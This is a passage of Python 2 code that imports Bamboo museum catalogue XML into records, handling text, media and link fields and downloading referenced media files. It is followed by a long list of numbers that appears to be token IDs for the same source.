display_type = {'img': 'inline',
'imgthumb': 'thumb',
}[elt.tag]
newelt.set('data-type', 'file')
if mtype is not None:
newelt.set('data-mimetype', mtype)
newelt.set('data-src', path)
newelt.set('data-display', display_type)
newelt.set('data-alt', u'')
newelt.set('data-title', u'')
stack[-1].append(newelt)
continue
elif elt.tag in ('imglink', 'film', 'sound'):
# Embedded links to files
path, mtype = get_media(elt.text)
newelt = mklink("file", "icon", path, mtype)
stack[-1].append(newelt)
continue
# FIXME - the following fields probably isn't handled very usefully.
elif elt.tag in (u'muscode'):
newelt = etree.Element('span')
newelt.set('style', 'muscode')
newelt.text = elt.text
elif elt.tag == u'refnext':
newelt = mklink("record", "icon", elt.text.strip())
newelt.text = "[NEXT]"
stack[-1].append(newelt)
continue
elif elt.tag == u'refprev':
newelt = mklink("record", "icon", elt.text.strip())
newelt.text = "[PREV]"
stack[-1].append(newelt)
continue
elif elt.tag in (u'musref'):
newelt = mklink("record", "icon", elt.text.strip())
newelt.text = '[Record %s]' % elt.text
stack[-1].append(newelt)
continue
elif elt.tag in (u'caption'):
newelt = etree.Element('div')
newelt.set('style', 'caption')
subelt = etree.Element('b')
subelt.text = 'Caption:'
newelt.append(subelt)
elif elt.tag in (u'clip'):
newelt = etree.Element('div')
newelt.set('style', 'clip')
subelt = etree.Element('b')
subelt.text = 'Clip:'
newelt.append(subelt)
else:
print "Unknown input tag type", etree.tostring(elt)
abort()
stack[-1].append(newelt)
stack.append(newelt)
parse_text_content(elt)
stack.pop()
def append_field(name, type):
elt = etree.Element('field')
elt.set(u'name', unicode(name))
elt.set(u'type', unicode(type))
stack[-1].append(elt)
return elt
tree = etree.parse(ctx.fileobj.file)
for item in tree.getroot():
record = Record()
stack = [record.root]
def parse_level(item, prefix=u''):
for field in item:
if field.tag == u'id':
record.id = unicode(field.text)
continue
ftype = ctx.type_mapping.get(prefix + field.tag)
if ftype == u'title':
elt = append_field(unicode(field.tag), u'title')
elt.text = field.text
elif ftype == u'text':
elt = append_field(unicode(field.tag), u'text')
stack[-1].append(elt)
stack.append(elt)
parse_text_content(field)
elif ftype == u'tag':
elt = append_field(unicode(field.tag), u'tag')
elt.text = field.text
elif ftype == u'number':
elt = append_field(unicode(field.tag), u'number')
elt.text = field.text
elif ftype == u'date':
elt = append_field(unicode(field.tag), u'date')
elt.text = parse_bamboo_date(field.text)
elif ftype == u'file':
elt = append_field(unicode(field.tag), u'file')
path, mtype = get_media(field.text)
if mtype is not None:
elt.set('mimetype', mtype)
elt.set('src', path)
elt.set('display', {
'img': 'inline',
'imgthumb': 'thumb',
'sound': 'inline',
'film': 'inline',
}[field.tag])
elt.set('alt', '')
elt.set('title', '')
elif ftype == u'location':
elt = append_field(unicode(field.tag), u'location')
elt.text = field.text
latlong = ctx.known_locations.get(field.text, None)
if latlong is not None:
elt.set('latlong', latlong)
elif ftype == u'group':
elt = etree.Element('group')
elt.set(u'name', unicode(field.tag))
stack[-1].append(elt)
stack.append(elt)
parse_level(field, prefix + field.tag + u'/')
# Bamboo reference types - each needs special handling
elif ftype == u'seealso':
elt = append_field(unicode(field.tag), u'tag')
elt.text = field.text
elif ftype == u'musref':
elt = append_field(unicode(field.tag), u'link')
elt.text = "Ref"
elt.set(u'linktype', u'record')
elt.set(u'target', field.text)
elif ftype == u'refnext':
# Note - when these are fixed, we must also handle refnext
# and refprev inside text fields.
elt = append_field(unicode(field.tag), u'link')
elt.text = "Next"
elt.set(u'linktype', u'record')
elt.set(u'target', field.text)
elif ftype == u'refprev':
elt = append_field(unicode(field.tag), u'link')
elt.text = "Previous"
elt.set(u'linktype', u'record')
elt.set(u'target', field.text)
else:
print "Unknown field: %s" % (prefix + field.tag)
print etree.tostring(field)
abort()
stack.pop()
parse_level(item)
record.collections = [ctx.collid]
Record.objects.set(record)
Record.objects.flush()
Collection.objects.flush()
return
# Download the referenced media
import urllib
for url, path in referenced_media:
if os.path.exists(path):
continue
print "Downloading %r to %r" % (url, path)
fd_in = urllib.urlopen(url)
file_contents = fd_in.read()
fd_in.close()
if not os.path.exists(os.path.dirname(path)):
os.makedirs(os.path.dirname(path))
fd_out = open(path + '.new', 'wb')
fd_out.write(file_contents)
fd_out.close()
os.rename(path + '.new', path)
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
13,
5215,
2295,
13,
5215,
2897,
13,
5215,
270,
2076,
1829,
13,
5215,
301,
3134,
29889,
300,
929,
408,
634,
929,
13,
3166,
11446,
29889,
8899,
29889,
9794,
1053,
14164,
29892,
14348,
13,
3166,
11446,
29889,
386,
21145,
29889,
386,
21145,
1053,
286,
17528,
668,
13,
3166,
11446,
1053,
21697,
29879,
13,
3166,
11446,
29889,
326,
18505,
29889,
4703,
1053,
16032,
2677,
13,
13,
1753,
6088,
29918,
29890,
314,
833,
29877,
29918,
1256,
29898,
726,
1125,
13,
1678,
396,
383,
6415,
2303,
13,
1678,
736,
1426,
13,
13,
1753,
1369,
29918,
5215,
29898,
7529,
1125,
13,
1678,
12893,
353,
16032,
2677,
580,
13,
13,
1678,
934,
5415,
353,
8636,
29889,
657,
877,
1445,
742,
6213,
29897,
13,
1678,
565,
934,
5415,
338,
6213,
470,
451,
934,
5415,
29889,
9507,
29901,
13,
4706,
736,
12893,
29889,
842,
29918,
2704,
877,
3782,
934,
19056,
1495,
13,
13,
1678,
3611,
353,
29104,
29898,
7529,
29889,
657,
877,
10855,
742,
318,
4907,
876,
13,
1678,
565,
451,
3611,
29901,
13,
4706,
736,
12893,
29889,
842,
29918,
2704,
877,
3782,
4333,
6790,
1495,
29871,
13,
13,
1678,
784,
3137,
353,
14348,
29889,
2886,
29918,
1609,
29918,
3257,
29898,
3257,
29897,
13,
1678,
565,
7431,
29898,
1054,
3137,
29897,
1275,
29871,
29900,
29901,
13,
4706,
736,
12893,
29889,
842,
29918,
2704,
877,
7196,
6790,
451,
1476,
1495,
29871,
13,
1678,
565,
7431,
29898,
1054,
3137,
29897,
1405,
29871,
29896,
29901,
13,
4706,
736,
12893,
29889,
842,
29918,
2704,
877,
7196,
1024,
6790,
11053,
304,
2999,
16250,
1495,
29871,
13,
1678,
5321,
353,
784,
3137,
29961,
29900,
29962,
13,
13,
1678,
1134,
29918,
20698,
353,
426,
13,
4706,
318,
29915,
3257,
2396,
318,
29915,
3257,
742,
13,
4706,
318,
29915,
6812,
2396,
318,
29915,
726,
742,
13,
4706,
318,
29915,
24049,
2396,
318,
29915,
726,
742,
13,
4706,
318,
29915,
6671,
2396,
318,
29915,
726,
742,
13,
4706,
318,
29915,
726,
2396,
318,
29915,
726,
742,
13,
4706,
318,
29915,
27891,
2396,
318,
29915,
4039,
742,
13,
4706,
318,
29915,
1989,
9303,
2396,
318,
29915,
4039,
742,
13,
4706,
318,
29915,
1256,
2396,
318,
29915,
1256,
742,
13,
4706,
318,
29915,
2492,
2396,
318,
29915,
1445,
742,
13,
4706,
318,
29915,
2492,
386,
3774,
2396,
318,
29915,
1445,
742,
13,
4706,
318,
29915,
8366,
999,
2396,
318,
29915,
1445,
742,
13,
4706,
318,
29915,
9663,
2396,
318,
29915,
1445,
742,
13,
4706,
318,
29915,
29802,
2396,
318,
29915,
1445,
742,
13,
4706,
318,
29915,
10855,
2396,
318,
29915,
2972,
742,
13,
4706,
318,
29915,
10855,
29914,
10532,
2396,
318,
29915,
4039,
742,
13,
4706,
318,
29915,
10855,
29914,
1256,
2396,
318,
29915,
1256,
742,
13,
4706,
318,
29915,
10855,
29914,
689,
2396,
318,
29915,
1256,
742,
13,
4706,
318,
29915,
10855,
29914,
5479,
2396,
318,
29915,
5479,
742,
13,
4706,
318,
29915,
10855,
29914,
621,
7823,
2972,
2396,
318,
29915,
4039,
742,
13,
4706,
318,
29915,
10855,
29914,
6812,
2396,
318,
29915,
4039,
742,
13,
4706,
318,
29915,
10855,
29914,
999,
1949,
2396,
318,
29915,
4039,
742,
13,
4706,
318,
29915,
24601,
2396,
318,
29915,
2972,
742,
13,
4706,
318,
29915,
24601,
29914,
10532,
2396,
318,
29915,
4039,
742,
13,
4706,
318,
29915,
24601,
29914,
1256,
2396,
318,
29915,
1256,
742,
13,
4706,
318,
29915,
24601,
29914,
5479,
2396,
318,
29915,
5479,
742,
13,
4706,
318,
29915,
24601,
29914,
689,
2396,
318,
29915,
4039,
742,
13,
4706,
318,
29915,
24601,
29914,
6812,
2396,
318,
29915,
726,
742,
13,
4706,
318,
29915,
24601,
29914,
999,
1949,
2396,
318,
29915,
4039,
742,
13,
4706,
318,
29915,
24601,
29914,
621,
7823,
2972,
2396,
318,
29915,
4039,
742,
13,
4706,
318,
29915,
562,
339,
381,
261,
2396,
318,
29915,
2972,
742,
13,
4706,
318,
29915,
562,
339,
381,
261,
29914,
1256,
2396,
318,
29915,
1256,
742,
13,
4706,
318,
29915,
562,
339,
381,
261,
29914,
10532,
2396,
318,
29915,
4039,
742,
13,
4706,
318,
29915,
562,
339,
381,
261,
29914,
689,
2396,
318,
29915,
4039,
742,
13,
4706,
318,
29915,
562,
339,
381,
261,
29914,
999,
1949,
2396,
318,
29915,
4039,
742,
13,
4706,
318,
29915,
562,
339,
381,
261,
29914,
6812,
2396,
318,
29915,
4039,
742,
13,
4706,
318,
29915,
2311,
2396,
318,
29915,
4537,
742,
13,
4706,
318,
29915,
10532,
2396,
318,
29915,
4039,
742,
13,
4706,
318,
29915,
621,
7823,
2972,
2396,
318,
29915,
4039,
742,
13,
4706,
318,
29915,
5479,
2396,
318,
29915,
5479,
742,
13,
13,
4706,
318,
29915,
999,
4622,
2396,
318,
29915,
999,
4622,
742,
13,
4706,
318,
29915,
999,
16304,
2396,
318,
29915,
999,
16304,
742,
13,
4706,
318,
29915,
4149,
15189,
2396,
318,
29915,
4149,
15189,
742,
13,
1678,
500,
13,
13,
1678,
396,
379,
11375,
29991,
13,
1678,
2998,
29918,
2029,
800,
353,
6571,
13,
29937,
1678,
363,
1196,
297,
1722,
877,
2029,
800,
29889,
3945,
2824,
949,
9012,
7295,
13,
29937,
4706,
1196,
353,
1196,
29889,
17010,
580,
13,
29937,
4706,
1196,
353,
1196,
29889,
5451,
877,
29901,
742,
29871,
29896,
29897,
13,
29937,
4706,
565,
7431,
29898,
1220,
29897,
529,
29871,
29906,
29901,
6773,
13,
29937,
4706,
565,
451,
1196,
29961,
29896,
5387,
13,
29937,
9651,
6773,
13,
29937,
4706,
2998,
29918,
2029,
800,
29961,
1220,
29961,
29900,
1822,
17010,
580,
29962,
353,
1196,
29961,
29896,
1822,
17010,
580,
13,
29937,
13,
29937,
1678,
363,
413,
297,
12705,
29898,
5203,
29918,
2029,
800,
1125,
13,
29937,
4706,
1596,
413,
29892,
2998,
29918,
2029,
800,
29961,
29895,
29962,
13,
13,
1678,
12893,
29889,
14669,
29898,
1445,
5415,
29922,
1445,
5415,
29892,
5321,
333,
29922,
22017,
29889,
333,
29892,
13,
795,
1134,
29918,
20698,
29922,
1853,
29918,
20698,
29892,
2998,
29918,
2029,
800,
29922,
5203,
29918,
2029,
800,
29897,
13,
13,
1678,
396,
383,
6415,
2303,
448,
437,
445,
297,
263,
3239,
3244,
29889,
13,
1678,
437,
29918,
5215,
29898,
13073,
29897,
13,
1678,
736,
12893,
13,
13,
1753,
4140,
29918,
2084,
29918,
4878,
29898,
2084,
1125,
13,
1678,
9995,
15870,
322,
1284,
263,
2224,
607,
4864,
607,
2923,
414,
515,
278,
2183,
2224,
871,
297,
1206,
29889,
13,
13,
1678,
9995,
13,
1678,
1677,
29918,
2084,
353,
2224,
13,
1678,
1095,
29918,
14036,
353,
5159,
13,
1678,
1550,
451,
2897,
29889,
2084,
29889,
9933,
29898,
2084,
1125,
13,
4706,
2224,
29892,
12464,
353,
2897,
29889,
2084,
29889,
5451,
29898,
2084,
29897,
13,
4706,
565,
12464,
1275,
525,
2396,
2867,
13,
4706,
1095,
29918,
14036,
29889,
7851,
29898,
29900,
29892,
12464,
29897,
13,
4706,
565,
2897,
29889,
2084,
29889,
9933,
29898,
2084,
1125,
2867,
13,
1678,
363,
4163,
297,
1095,
29918,
14036,
29901,
13,
4706,
4452,
353,
6571,
13,
4706,
363,
2944,
297,
270,
2076,
1829,
29889,
1761,
3972,
29898,
2084,
1125,
13,
9651,
4452,
29889,
842,
4381,
29898,
667,
29889,
13609,
3285,
5159,
467,
4397,
29898,
667,
29897,
13,
4706,
4140,
353,
4452,
29889,
657,
29898,
9700,
29889,
13609,
3101,
13,
4706,
565,
4140,
338,
6213,
29901,
13,
9651,
1596,
376,
2525,
519,
304,
1284,
1273,
29878,
29908,
1273,
1677,
29918,
2084,
13,
9651,
736,
1677,
29918,
2084,
13,
4706,
2224,
353,
2897,
29889,
2084,
29889,
7122,
29898,
2084,
29892,
4140,
29961,
29900,
2314,
13,
1678,
1596,
376,
12521,
1621,
287,
1273,
29879,
304,
1273,
29879,
29908,
1273,
313,
12683,
29918,
2084,
29892,
2224,
29897,
13,
1678,
736,
2224,
13,
13,
1753,
437,
29918,
5215,
29898,
13073,
1125,
13,
1678,
16180,
29918,
9799,
353,
5159,
13,
13,
1678,
822,
14690,
2324,
29898,
2324,
1853,
29892,
2479,
29892,
3646,
29892,
286,
17528,
668,
29922,
8516,
1125,
13,
4706,
9995,
9984,
385,
15685,
1544,
15945,
29908,
13,
4706,
716,
2152,
353,
634,
929,
29889,
2642,
877,
29874,
1495,
13,
4706,
716,
2152,
29889,
842,
877,
1272,
29899,
1853,
742,
525,
2324,
1495,
13,
4706,
716,
2152,
29889,
842,
877,
1272,
29899,
2324,
1853,
742,
1544,
1853,
29897,
13,
4706,
716,
2152,
29889,
842,
877,
1272,
29899,
4990,
742,
2479,
29897,
13,
4706,
716,
2152,
29889,
842,
877,
1272,
29899,
5182,
742,
3646,
29897,
13,
4706,
565,
286,
17528,
668,
338,
451,
6213,
29901,
13,
9651,
716,
2152,
29889,
842,
877,
1272,
29899,
29885,
17528,
668,
742,
286,
17528,
668,
29897,
13,
4706,
736,
716,
2152,
13,
13,
1678,
822,
679,
29918,
9799,
29898,
791,
1125,
13,
4706,
2224,
353,
2897,
29889,
2084,
29889,
7122,
29898,
2917,
29889,
29933,
5194,
8456,
29949,
29918,
2303,
4571,
29909,
29918,
10145,
29892,
659,
29897,
13,
4706,
565,
451,
2897,
29889,
2084,
29889,
9933,
29898,
2084,
1125,
13,
9651,
2224,
353,
4140,
29918,
2084,
29918,
4878,
29898,
2084,
29897,
13,
4706,
565,
451,
2897,
29889,
2084,
29889,
9933,
29898,
2084,
1125,
13,
9651,
1596,
376,
18552,
292,
934,
29901,
613,
2224,
13,
4706,
286,
1853,
353,
286,
17528,
668,
29898,
2084,
29897,
13,
4706,
16180,
29918,
9799,
29889,
4397,
3552,
359,
29889,
2084,
29889,
7122,
29898,
2917,
29889,
29933,
5194,
8456,
29949,
29918,
2303,
4571,
29909,
29918,
4219,
29892,
659,
511,
2224,
876,
13,
4706,
736,
2224,
29892,
286,
1853,
13,
13,
1678,
822,
6088,
29918,
726,
29918,
3051,
29898,
667,
1125,
13,
4706,
396,
2158,
376,
16975,
16664,
29878,
29908,
1273,
2944,
29889,
726,
13,
4706,
396,
2158,
376,
6040,
6227,
16664,
29878,
29908,
1273,
2944,
29889,
18237,
13,
4706,
565,
2944,
29889,
726,
29901,
13,
9651,
1426,
353,
2944,
29889,
726,
29889,
6506,
877,
29987,
742,
525,
29987,
1160,
29936,
1495,
320,
13,
18884,
869,
6506,
877,
29966,
742,
525,
29987,
1896,
29936,
1495,
320,
13,
18884,
869,
6506,
877,
29958,
742,
525,
29987,
4141,
29936,
1495,
396,
612,
2707,
448,
817,
1571,
2329,
13,
9651,
565,
7431,
29898,
1429,
14352,
29896,
2314,
1275,
29871,
29900,
29901,
13,
18884,
565,
5096,
14352,
29896,
1822,
726,
29901,
13,
462,
1678,
5096,
14352,
29896,
1822,
726,
4619,
1426,
13,
18884,
1683,
29901,
13,
462,
1678,
5096,
14352,
29896,
1822,
726,
353,
1426,
13,
9651,
1683,
29901,
13,
18884,
565,
5096,
14352,
29896,
3816,
29899,
29896,
1822,
18237,
29901,
13,
462,
1678,
5096,
14352,
29896,
3816,
29899,
29896,
1822,
18237,
4619,
1426,
13,
18884,
1683,
29901,
13,
462,
1678,
5096,
14352,
29896,
3816,
29899,
29896,
1822,
18237,
353,
1426,
13,
4706,
565,
2944,
29889,
18237,
29901,
13,
9651,
12464,
353,
2944,
29889,
18237,
29889,
6506,
877,
29987,
742,
525,
29987,
1160,
29936,
1495,
320,
13,
18884,
869,
6506,
877,
29966,
742,
525,
29987,
1896,
29936,
1495,
320,
13,
18884,
869,
6506,
877,
29958,
742,
525,
29987,
4141,
29936,
1495,
396,
612,
2707,
448,
817,
1571,
2329,
13,
9651,
565,
7431,
29898,
1429,
14352,
29896,
2314,
1275,
29871,
29900,
29901,
13,
18884,
565,
5096,
14352,
29896,
1822,
18237,
29901,
13,
462,
1678,
5096,
14352,
29896,
1822,
18237,
4619,
12464,
13,
18884,
1683,
29901,
13,
462,
1678,
5096,
14352,
29896,
1822,
18237,
353,
12464,
13,
9651,
1683,
29901,
13,
18884,
565,
5096,
14352,
29896,
3816,
29899,
29896,
1822,
18237,
29901,
13,
462,
1678,
5096,
14352,
29896,
3816,
29899,
29896,
1822,
18237,
4619,
12464,
13,
18884,
1683,
29901,
13,
462,
1678,
5096,
14352,
29896,
3816,
29899,
29896,
1822,
18237,
353,
12464,
13,
13,
4706,
363,
560,
29873,
297,
2944,
29901,
13,
9651,
565,
560,
29873,
29889,
4039,
297,
313,
1125,
13,
18884,
716,
2152,
353,
634,
929,
29889,
2642,
29898,
2152,
29889,
4039,
29897,
13,
9651,
25342,
560,
29873,
29889,
4039,
1275,
525,
1482,
1220,
2396,
13,
18884,
716,
2152,
353,
634,
929,
29889,
2642,
877,
1182,
1495,
13,
9651,
25342,
560,
29873,
29889,
4039,
297,
6702,
2492,
742,
525,
2492,
386,
3774,
742,
29871,
1125,
13,
18884,
396,
2812,
2580,
7176,
4558,
29892,
470,
266,
17771,
2234,
13,
18884,
716,
2152,
353,
634,
929,
29889,
2642,
877,
2492,
1495,
13,
18884,
2224,
29892,
286,
1853,
353,
679,
29918,
9799,
29898,
2152,
29889,
726,
29897,
13,
18884,
2479,
29918,
1853,
353,
11117,
2492,
2396,
525,
14764,
742,
13,
462,
18884,
525,
2492,
386,
3774,
2396,
525,
386,
3774,
742,
13,
462,
1669,
500,
29961,
2152,
29889,
4039,
29962,
13,
13,
18884,
716,
2152,
29889,
842,
877,
1272,
29899,
1853,
742,
525,
1445,
1495,
13,
18884,
565,
286,
1853,
338,
451,
6213,
29901,
13,
462,
1678,
716,
2152,
29889,
842,
877,
1272,
29899,
29885,
17528,
668,
742,
286,
1853,
29897,
13,
18884,
716,
2152,
29889,
842,
877,
1272,
29899,
4351,
742,
2224,
29897,
13,
18884,
716,
2152,
29889,
842,
877,
1272,
29899,
4990,
742,
2479,
29918,
1853,
29897,
13,
18884,
716,
2152,
29889,
842,
877,
1272,
29899,
1997,
742,
318,
29915,
1495,
13,
18884,
716,
2152,
29889,
842,
877,
1272,
29899,
3257,
742,
318,
29915,
1495,
13,
18884,
5096,
14352,
29896,
1822,
4397,
29898,
1482,
2152,
29897,
13,
18884,
6773,
13,
13,
9651,
25342,
560,
29873,
29889,
4039,
297,
6702,
2492,
2324,
742,
525,
9663,
742,
525,
29802,
29374,
13,
18884,
396,
2812,
2580,
7176,
2988,
304,
2066,
13,
18884,
2224,
29892,
286,
1853,
353,
679,
29918,
9799,
29898,
2152,
29889,
726,
29897,
13,
18884,
716,
2152,
353,
14690,
2324,
703,
1445,
613,
376,
4144,
613,
2224,
29892,
286,
1853,
29897,
13,
18884,
5096,
14352,
29896,
1822,
4397,
29898,
1482,
2152,
29897,
13,
18884,
6773,
13,
13,
13,
9651,
396,
383,
6415,
2303,
448,
278,
1494,
4235,
3117,
3508,
29915,
29873,
16459,
1407,
671,
3730,
29889,
13,
9651,
25342,
560,
29873,
29889,
4039,
297,
313,
29884,
29915,
8366,
401,
29374,
13,
18884,
716,
2152,
353,
634,
929,
29889,
2642,
877,
9653,
1495,
13,
18884,
716,
2152,
29889,
842,
877,
3293,
742,
525,
8366,
401,
1495,
13,
18884,
716,
2152,
29889,
726,
353,
560,
29873,
29889,
726,
13,
13,
9651,
25342,
560,
29873,
29889,
4039,
1275,
318,
29915,
999,
4622,
2396,
13,
18884,
716,
2152,
353,
14690,
2324,
703,
11651,
613,
376,
4144,
613,
560,
29873,
29889,
726,
29889,
17010,
3101,
13,
18884,
716,
2152,
29889,
726,
353,
14704,
29940,
12194,
18017,
13,
18884,
5096,
14352,
29896,
1822,
4397,
29898,
1482,
2152,
29897,
13,
18884,
6773,
13,
9651,
25342,
560,
29873,
29889,
4039,
1275,
318,
29915,
999,
16304,
2396,
13,
18884,
716,
2152,
353,
14690,
2324,
703,
11651,
613,
376,
4144,
613,
560,
29873,
29889,
726,
29889,
17010,
3101,
13,
18884,
716,
2152,
29889,
726,
353,
14704,
15094,
29963,
18017,
13,
18884,
5096,
14352,
29896,
1822,
4397,
29898,
1482,
2152,
29897,
13,
18884,
6773,
13,
9651,
25342,
560,
29873,
29889,
4039,
297,
313,
29884,
29915,
8366,
999,
29374,
13,
18884,
716,
2152,
353,
14690,
2324,
703,
11651,
613,
376,
4144,
613,
560,
29873,
29889,
726,
29889,
17010,
3101,
13,
18884,
716,
2152,
29889,
726,
353,
525,
29961,
9182,
1273,
29879,
29962,
29915,
1273,
560,
29873,
29889,
726,
13,
18884,
5096,
14352,
29896,
1822,
4397,
29898,
1482,
2152,
29897,
13,
18884,
6773,
13,
13,
9651,
25342,
560,
29873,
29889,
4039,
297,
313,
29884,
29915,
6671,
29374,
13,
18884,
716,
2152,
353,
634,
929,
29889,
2642,
877,
4563,
1495,
13,
18884,
716,
2152,
29889,
842,
877,
3293,
742,
525,
6671,
1495,
13,
18884,
1014,
2152,
353,
634,
929,
29889,
2642,
877,
29890,
1495,
13,
18884,
1014,
2152,
29889,
726,
353,
525,
26270,
683,
11283,
13,
18884,
716,
2152,
29889,
4397,
29898,
1491,
2152,
29897,
13,
462,
13,
9651,
25342,
560,
29873,
29889,
4039,
297,
313,
29884,
29915,
24049,
29374,
13,
18884,
716,
2152,
353,
634,
929,
29889,
2642,
877,
4563,
1495,
13,
18884,
716,
2152,
29889,
842,
877,
3293,
742,
525,
24049,
1495,
13,
18884,
1014,
2152,
353,
634,
929,
29889,
2642,
877,
29890,
1495,
13,
18884,
1014,
2152,
29889,
726,
353,
525,
29907,
3466,
11283,
13,
18884,
716,
2152,
29889,
4397,
29898,
1491,
2152,
29897,
13,
13,
9651,
1683,
29901,
13,
18884,
1596,
376,
14148,
1881,
4055,
1134,
613,
634,
929,
29889,
517,
1807,
29898,
2152,
29897,
13,
18884,
27450,
580,
13,
13,
9651,
5096,
14352,
29896,
1822,
4397,
29898,
1482,
2152,
29897,
13,
9651,
5096,
29889,
4397,
29898,
1482,
2152,
29897,
13,
9651,
6088,
29918,
726,
29918,
3051,
29898,
2152,
29897,
13,
4706,
5096,
29889,
7323,
580,
13,
13,
1678,
822,
9773,
29918,
2671,
29898,
978,
29892,
1134,
1125,
13,
4706,
560,
29873,
353,
634,
929,
29889,
2642,
877,
2671,
1495,
13,
4706,
560,
29873,
29889,
842,
29898,
29884,
29915,
978,
742,
29104,
29898,
978,
876,
13,
4706,
560,
29873,
29889,
842,
29898,
29884,
29915,
1853,
742,
29104,
29898,
1853,
876,
13,
4706,
5096,
14352,
29896,
1822,
4397,
29898,
2152,
29897,
13,
4706,
736,
560,
29873,
13,
13,
1678,
5447,
353,
634,
929,
29889,
5510,
29898,
13073,
29889,
1445,
5415,
29889,
1445,
29897,
13,
1678,
363,
2944,
297,
5447,
29889,
657,
4632,
7295,
13,
4706,
2407,
353,
14164,
580,
13,
4706,
5096,
353,
518,
11651,
29889,
4632,
29962,
13,
13,
4706,
822,
6088,
29918,
5563,
29898,
667,
29892,
10944,
29922,
29884,
4907,
1125,
13,
9651,
363,
1746,
297,
2944,
29901,
13,
18884,
565,
1746,
29889,
4039,
1275,
318,
29915,
333,
2396,
13,
462,
1678,
2407,
29889,
333,
353,
29104,
29898,
2671,
29889,
726,
29897,
13,
462,
1678,
6773,
13,
13,
18884,
285,
1853,
353,
12893,
29889,
1853,
29918,
20698,
29889,
657,
29898,
13506,
718,
1746,
29889,
4039,
29897,
13,
13,
18884,
565,
285,
1853,
1275,
318,
29915,
3257,
2396,
13,
462,
1678,
560,
29873,
353,
9773,
29918,
2671,
29898,
2523,
356,
29898,
2671,
29889,
4039,
511,
318,
29915,
3257,
1495,
13,
462,
1678,
560,
29873,
29889,
726,
353,
1746,
29889,
726,
13,
18884,
25342,
285,
1853,
1275,
318,
29915,
726,
2396,
13,
462,
1678,
560,
29873,
353,
9773,
29918,
2671,
29898,
2523,
356,
29898,
2671,
29889,
4039,
511,
318,
29915,
726,
1495,
13,
462,
1678,
5096,
14352,
29896,
1822,
4397,
29898,
2152,
29897,
13,
462,
1678,
5096,
29889,
4397,
29898,
2152,
29897,
13,
462,
1678,
6088,
29918,
726,
29918,
3051,
29898,
2671,
29897,
13,
18884,
25342,
285,
1853,
1275,
318,
29915,
4039,
2396,
13,
462,
1678,
560,
29873,
353,
9773,
29918,
2671,
29898,
2523,
356,
29898,
2671,
29889,
4039,
511,
318,
29915,
4039,
1495,
13,
462,
1678,
560,
29873,
29889,
726,
353,
1746,
29889,
726,
13,
18884,
25342,
285,
1853,
1275,
318,
29915,
4537,
2396,
13,
462,
1678,
560,
29873,
353,
9773,
29918,
2671,
29898,
2523,
356,
29898,
2671,
29889,
4039,
511,
318,
29915,
4537,
1495,
13,
462,
1678,
560,
29873,
29889,
726,
353,
1746,
29889,
726,
13,
18884,
25342,
285,
1853,
1275,
318,
29915,
1256,
2396,
13,
462,
1678,
560,
29873,
353,
9773,
29918,
2671,
29898,
2523,
356,
29898,
2671,
29889,
4039,
511,
318,
29915,
1256,
1495,
13,
462,
1678,
560,
29873,
29889,
726,
353,
6088,
29918,
29890,
314,
833,
29877,
29918,
1256,
29898,
2671,
29889,
726,
29897,
13,
18884,
25342,
285,
1853,
1275,
318,
29915,
1445,
2396,
13,
462,
1678,
560,
29873,
353,
9773,
29918,
2671,
29898,
2523,
356,
29898,
2671,
29889,
4039,
511,
318,
29915,
1445,
1495,
13,
462,
1678,
2224,
29892,
286,
1853,
353,
679,
29918,
9799,
29898,
2671,
29889,
726,
29897,
13,
462,
1678,
565,
286,
1853,
338,
451,
6213,
29901,
13,
462,
4706,
560,
29873,
29889,
842,
877,
29885,
17528,
668,
742,
286,
1853,
29897,
13,
462,
1678,
560,
29873,
29889,
842,
877,
4351,
742,
2224,
29897,
13,
462,
1678,
560,
29873,
29889,
842,
877,
4990,
742,
426,
13,
462,
4706,
525,
2492,
2396,
525,
14764,
742,
13,
462,
4706,
525,
2492,
386,
3774,
2396,
525,
386,
3774,
742,
13,
462,
4706,
525,
29802,
2396,
525,
14764,
742,
13,
462,
4706,
525,
9663,
2396,
525,
14764,
742,
13,
462,
1678,
500,
29961,
2671,
29889,
4039,
2314,
13,
462,
1678,
560,
29873,
29889,
842,
877,
1997,
742,
27255,
13,
462,
1678,
560,
29873,
29889,
842,
877,
3257,
742,
27255,
13,
13,
18884,
25342,
285,
1853,
1275,
318,
29915,
5479,
2396,
13,
462,
1678,
560,
29873,
353,
9773,
29918,
2671,
29898,
2523,
356,
29898,
2671,
29889,
4039,
511,
318,
29915,
5479,
1495,
13,
462,
1678,
560,
29873,
29889,
726,
353,
1746,
29889,
726,
13,
462,
1678,
3405,
5426,
353,
12893,
29889,
5203,
29918,
2029,
800,
29889,
657,
29898,
2671,
29889,
726,
29892,
6213,
29897,
13,
462,
1678,
565,
3405,
5426,
338,
451,
6213,
29901,
13,
462,
4706,
560,
29873,
29889,
842,
877,
5066,
5426,
742,
3405,
5426,
29897,
13,
18884,
25342,
285,
1853,
1275,
318,
29915,
2972,
2396,
13,
462,
1678,
560,
29873,
353,
634,
929,
29889,
2642,
877,
2972,
1495,
13,
462,
1678,
560,
29873,
29889,
842,
29898,
29884,
29915,
978,
742,
29104,
29898,
2671,
29889,
4039,
876,
13,
462,
1678,
5096,
14352,
29896,
1822,
4397,
29898,
2152,
29897,
13,
462,
1678,
5096,
29889,
4397,
29898,
2152,
29897,
13,
462,
1678,
6088,
29918,
5563,
29898,
2671,
29892,
10944,
718,
1746,
29889,
4039,
718,
318,
29915,
29914,
1495,
13,
13,
18884,
396,
350,
314,
833,
29877,
3407,
4072,
448,
1269,
4225,
4266,
11415,
13,
18884,
25342,
285,
1853,
1275,
318,
29915,
4149,
15189,
2396,
13,
462,
1678,
560,
29873,
353,
9773,
29918,
2671,
29898,
2523,
356,
29898,
2671,
29889,
4039,
511,
318,
29915,
4039,
1495,
13,
462,
1678,
560,
29873,
29889,
726,
353,
1746,
29889,
726,
13,
18884,
25342,
285,
1853,
1275,
318,
29915,
8366,
999,
2396,
13,
462,
1678,
560,
29873,
353,
9773,
29918,
2671,
29898,
2523,
356,
29898,
2671,
29889,
4039,
511,
318,
29915,
2324,
1495,
13,
462,
1678,
560,
29873,
29889,
726,
353,
376,
5620,
29908,
13,
462,
1678,
560,
29873,
29889,
842,
29898,
29884,
29915,
2324,
1853,
742,
318,
29915,
11651,
1495,
13,
462,
1678,
560,
29873,
29889,
842,
29898,
29884,
29915,
5182,
742,
1746,
29889,
726,
29897,
13,
18884,
25342,
285,
1853,
1275,
318,
29915,
999,
4622,
2396,
13,
462,
1678,
396,
3940,
448,
746,
1438,
526,
4343,
29892,
591,
1818,
884,
4386,
2143,
4622,
13,
462,
1678,
396,
322,
2143,
16304,
2768,
